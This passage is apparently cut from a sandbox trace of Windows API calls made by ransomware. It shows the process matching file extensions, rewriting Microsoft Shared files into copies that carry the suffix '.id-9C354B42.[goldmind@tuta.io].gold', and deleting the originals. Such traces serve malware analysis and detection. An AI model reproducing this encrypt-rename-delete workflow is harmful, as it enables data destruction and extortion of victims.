Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0047.596] lstrlenW (lpString=".doc") returned 4 [0047.596] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0047.596] lstrlenW (lpString=".docx") returned 5 [0047.596] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0047.596] lstrlenW (lpString=".pdf") returned 4 [0047.596] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0047.596] lstrlenW (lpString=".xls") returned 4 [0047.596] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0047.596] lstrlenW (lpString=".xlsx") returned 5 [0047.596] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0047.596] lstrlenW (lpString=".ppt") returned 4 [0047.596] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0047.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0047.596] lstrlenW (lpString=".zip") returned 4 [0047.596] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0047.596] lstrlenW (lpString=".rar") returned 4 [0047.596] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0047.596] lstrlenW (lpString=".bz2") returned 4 [0047.596] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0047.596] lstrlenW (lpString=".7z") returned 3 [0047.596] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0047.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0047.596] lstrlenW (lpString=".dbf") returned 4 [0047.596] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0047.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0047.596] lstrlenW (lpString=".1cd") returned 4 [0047.596] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0047.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0047.596] lstrlenW (lpString=".jpg") returned 4 [0047.596] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0047.596] lstrcmpiW (lpString1=".FLT", lpString2=".gold") returned -1 [0047.596] lstrlenW (lpString="GIFIMP32.FLT") returned 12 [0047.596] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0047.672] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2b6ff1c | out: lpFileSize=0x2b6ff1c*=320384) returned 1 [0047.672] CloseHandle (hObject=0x208) returned 1 [0047.672] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt")) returned 0x20 [0047.672] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0047.672] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0047.672] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.672] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.672] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0047.672] GetLastError () returned 0x0 [0047.672] ReadFile (in: hFile=0x208, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b6fed4*=0x4e380, lpOverlapped=0x0) returned 1 [0047.679] WriteFile (in: hFile=0x178, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0x4e390, lpNumberOfBytesWritten=0x2b6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b6fc9c*=0x4e390, lpOverlapped=0x0) returned 1 [0047.683] ReadFile (in: hFile=0x208, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b6fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.683] WriteFile (in: hFile=0x178, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0047.683] SetEndOfFile (hFile=0x178) returned 1 [0047.684] CloseHandle (hObject=0x178) returned 1 [0047.684] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.684] SetEndOfFile (hFile=0x208) returned 1 [0047.686] CloseHandle (hObject=0x208) returned 1 [0047.686] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0047.686] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt")) returned 1 [0047.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0047.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0047.687] lstrlenW (lpString=".doc") returned 4 [0047.687] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0047.687] lstrlenW (lpString=".docx") returned 5 [0047.687] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0047.687] lstrlenW (lpString=".pdf") returned 4 [0047.687] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0047.687] lstrlenW (lpString=".xls") returned 4 [0047.687] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0047.687] lstrlenW (lpString=".xlsx") returned 5 [0047.687] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0047.687] lstrlenW (lpString=".ppt") returned 4 [0047.687] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0047.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0047.687] lstrlenW (lpString=".zip") returned 4 [0047.687] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0047.687] lstrlenW (lpString=".rar") returned 4 [0047.687] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0047.687] lstrlenW (lpString=".bz2") returned 4 [0047.687] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0047.687] lstrlenW (lpString=".7z") returned 3 [0047.687] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0047.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0047.687] lstrlenW (lpString=".dbf") returned 4 [0047.687] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0047.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0047.687] lstrlenW (lpString=".1cd") returned 4 [0047.687] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0047.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0047.687] lstrlenW (lpString=".jpg") returned 4 [0047.687] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0047.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0047.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0047.687] lstrlenW (lpString=".doc") returned 4 [0047.687] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0047.687] lstrlenW (lpString=".docx") returned 5 [0047.687] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0047.687] lstrlenW (lpString=".pdf") returned 4 [0047.687] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0047.687] lstrlenW (lpString=".xls") returned 4 [0047.687] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0047.687] lstrlenW (lpString=".xlsx") returned 5 [0047.687] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0047.687] lstrlenW (lpString=".ppt") returned 4 [0047.687] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0047.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0047.687] lstrlenW (lpString=".zip") returned 4 [0047.687] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0047.687] lstrlenW (lpString=".rar") returned 4 [0047.687] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0047.687] lstrlenW (lpString=".bz2") returned 4 [0047.687] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0047.687] lstrlenW (lpString=".7z") returned 3 [0047.688] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0047.688] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0047.688] lstrlenW (lpString=".dbf") returned 4 [0047.688] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0047.688] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0047.688] lstrlenW (lpString=".1cd") returned 4 [0047.688] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0047.688] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0047.688] lstrlenW (lpString=".jpg") returned 4 [0047.688] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0047.688] lstrcmpiW (lpString1=".WPG", lpString2=".gold") returned 1 [0047.688] lstrlenW (lpString="MS.WPG") returned 6 [0047.688] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0047.688] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2b6ff1c | out: lpFileSize=0x2b6ff1c*=1382) returned 1 [0047.688] CloseHandle (hObject=0x208) returned 1 [0047.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg")) returned 0x20 [0047.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0047.688] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0047.688] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.688] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.688] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0047.689] GetLastError () returned 0x0 [0047.689] ReadFile (in: hFile=0x208, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b6fed4*=0x566, lpOverlapped=0x0) returned 1 [0047.833] WriteFile (in: hFile=0x178, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x2b6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b6fc9c*=0x570, lpOverlapped=0x0) returned 1 [0047.834] ReadFile (in: hFile=0x208, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b6fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.834] WriteFile (in: hFile=0x178, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2b6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b6fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0047.834] SetEndOfFile (hFile=0x178) returned 1 [0047.889] CloseHandle (hObject=0x178) returned 1 [0047.889] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.889] SetEndOfFile (hFile=0x208) returned 1 [0047.890] CloseHandle (hObject=0x208) returned 1 [0047.890] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0047.890] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg")) returned 1 [0048.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0048.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0048.220] lstrlenW (lpString=".doc") returned 4 [0048.220] lstrcmpiW (lpString1=".doc", lpString2=".WPG") returned -1 [0048.220] lstrlenW (lpString=".docx") returned 5 [0048.220] lstrcmpiW (lpString1=".docx", lpString2="S.WPG") returned -1 [0048.220] lstrlenW (lpString=".pdf") returned 4 [0048.220] lstrcmpiW (lpString1=".pdf", lpString2=".WPG") returned -1 [0048.220] lstrlenW (lpString=".xls") returned 4 [0048.220] lstrcmpiW (lpString1=".xls", lpString2=".WPG") returned 1 [0048.220] lstrlenW (lpString=".xlsx") returned 5 [0048.220] lstrcmpiW (lpString1=".xlsx", lpString2="S.WPG") returned -1 [0048.220] lstrlenW (lpString=".ppt") returned 4 [0048.220] lstrcmpiW (lpString1=".ppt", lpString2=".WPG") returned -1 [0048.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0048.220] lstrlenW (lpString=".zip") returned 4 [0048.220] lstrcmpiW (lpString1=".zip", lpString2=".WPG") returned 1 [0048.220] lstrlenW (lpString=".rar") returned 4 [0048.220] lstrcmpiW (lpString1=".rar", lpString2=".WPG") returned -1 [0048.220] lstrlenW (lpString=".bz2") returned 4 [0048.220] lstrcmpiW (lpString1=".bz2", lpString2=".WPG") returned -1 [0048.220] lstrlenW (lpString=".7z") returned 3 [0048.220] lstrcmpiW (lpString1=".7z", lpString2="WPG") returned -1 [0048.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0048.220] lstrlenW (lpString=".dbf") returned 4 [0048.220] lstrcmpiW (lpString1=".dbf", lpString2=".WPG") returned -1 [0048.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0048.220] lstrlenW (lpString=".1cd") returned 4 [0048.220] lstrcmpiW (lpString1=".1cd", lpString2=".WPG") returned -1 [0048.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0048.221] lstrlenW (lpString=".jpg") returned 4 [0048.221] lstrcmpiW (lpString1=".jpg", lpString2=".WPG") returned -1 [0048.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0048.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0048.221] lstrlenW (lpString=".doc") returned 4 [0048.221] lstrcmpiW (lpString1=".doc", lpString2=".WPG") returned -1 [0048.221] lstrlenW (lpString=".docx") returned 5 [0048.221] lstrcmpiW (lpString1=".docx", lpString2="S.WPG") returned -1 [0048.221] lstrlenW (lpString=".pdf") returned 4 [0048.221] lstrcmpiW (lpString1=".pdf", lpString2=".WPG") returned -1 [0048.221] lstrlenW (lpString=".xls") returned 4 [0048.221] lstrcmpiW (lpString1=".xls", lpString2=".WPG") returned 1 [0048.221] lstrlenW (lpString=".xlsx") returned 5 [0048.221] lstrcmpiW (lpString1=".xlsx", lpString2="S.WPG") returned -1 [0048.221] lstrlenW (lpString=".ppt") returned 4 [0048.221] lstrcmpiW (lpString1=".ppt", lpString2=".WPG") returned -1 [0048.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0048.221] lstrlenW (lpString=".zip") returned 4 [0048.221] lstrcmpiW (lpString1=".zip", lpString2=".WPG") returned 1 [0048.221] lstrlenW (lpString=".rar") returned 4 [0048.221] lstrcmpiW (lpString1=".rar", lpString2=".WPG") returned -1 [0048.221] lstrlenW (lpString=".bz2") returned 4 [0048.221] lstrcmpiW (lpString1=".bz2", lpString2=".WPG") returned -1 [0048.221] lstrlenW (lpString=".7z") returned 3 [0048.221] lstrcmpiW (lpString1=".7z", lpString2="WPG") returned -1 [0048.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0048.221] lstrlenW (lpString=".dbf") returned 4 [0048.221] lstrcmpiW (lpString1=".dbf", lpString2=".WPG") returned -1 [0048.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0048.221] lstrlenW (lpString=".1cd") returned 4 [0048.221] lstrcmpiW (lpString1=".1cd", lpString2=".WPG") returned -1 [0048.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0048.221] lstrlenW (lpString=".jpg") returned 4 [0048.221] lstrcmpiW (lpString1=".jpg", lpString2=".WPG") returned -1 [0048.221] lstrcmpiW (lpString1=".mui", lpString2=".gold") returned 1 [0048.221] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0048.221] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0048.307] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2b6ff1c | out: lpFileSize=0x2b6ff1c*=3584) returned 1 [0048.307] CloseHandle (hObject=0x19c) returned 1 [0048.307] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui")) returned 0x20 [0048.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0048.308] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0048.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0048.308] lstrlenW (lpString=".doc") returned 4 [0048.308] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0048.308] lstrlenW (lpString=".docx") returned 5 [0048.308] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0048.308] lstrlenW (lpString=".pdf") returned 4 [0048.308] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0048.308] lstrlenW (lpString=".xls") returned 4 [0048.308] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0048.308] lstrlenW (lpString=".xlsx") returned 5 [0048.308] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0048.308] lstrlenW (lpString=".ppt") returned 4 [0048.308] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0048.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0048.308] lstrlenW (lpString=".zip") returned 4 [0048.308] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0048.308] lstrlenW (lpString=".rar") returned 4 [0048.308] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0048.308] lstrlenW (lpString=".bz2") returned 4 [0048.308] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0048.308] lstrlenW (lpString=".7z") returned 3 [0048.308] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0048.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0048.308] lstrlenW (lpString=".dbf") returned 4 [0048.308] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0048.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0048.308] lstrlenW (lpString=".1cd") returned 4 [0048.308] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0048.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0048.308] lstrlenW (lpString=".jpg") returned 4 [0048.308] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0048.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0048.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0048.308] lstrlenW (lpString=".doc") returned 4 [0048.308] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0048.308] lstrlenW (lpString=".docx") returned 5 [0048.308] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0048.309] lstrlenW (lpString=".pdf") returned 4 [0048.309] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0048.309] lstrlenW (lpString=".xls") returned 4 [0048.309] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0048.309] lstrlenW (lpString=".xlsx") returned 5 [0048.309] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0048.309] lstrlenW (lpString=".ppt") returned 4 [0048.309] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0048.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0048.309] lstrlenW (lpString=".zip") returned 4 [0048.309] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0048.309] lstrlenW (lpString=".rar") returned 4 [0048.309] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0048.309] lstrlenW (lpString=".bz2") returned 4 [0048.309] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0048.309] lstrlenW (lpString=".7z") returned 3 [0048.309] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0048.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0048.309] lstrlenW (lpString=".dbf") returned 4 [0048.309] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0048.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0048.309] lstrlenW (lpString=".1cd") returned 4 [0048.309] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0048.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0048.309] lstrlenW (lpString=".jpg") returned 4 [0048.309] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0048.309] lstrcmpiW (lpString1=".mui", lpString2=".gold") returned 1 [0048.309] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0048.309] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0048.310] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2b6ff1c | out: lpFileSize=0x2b6ff1c*=4096) returned 1 [0048.310] CloseHandle (hObject=0x19c) returned 1 [0048.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui")) returned 0x20 [0048.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0048.310] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft 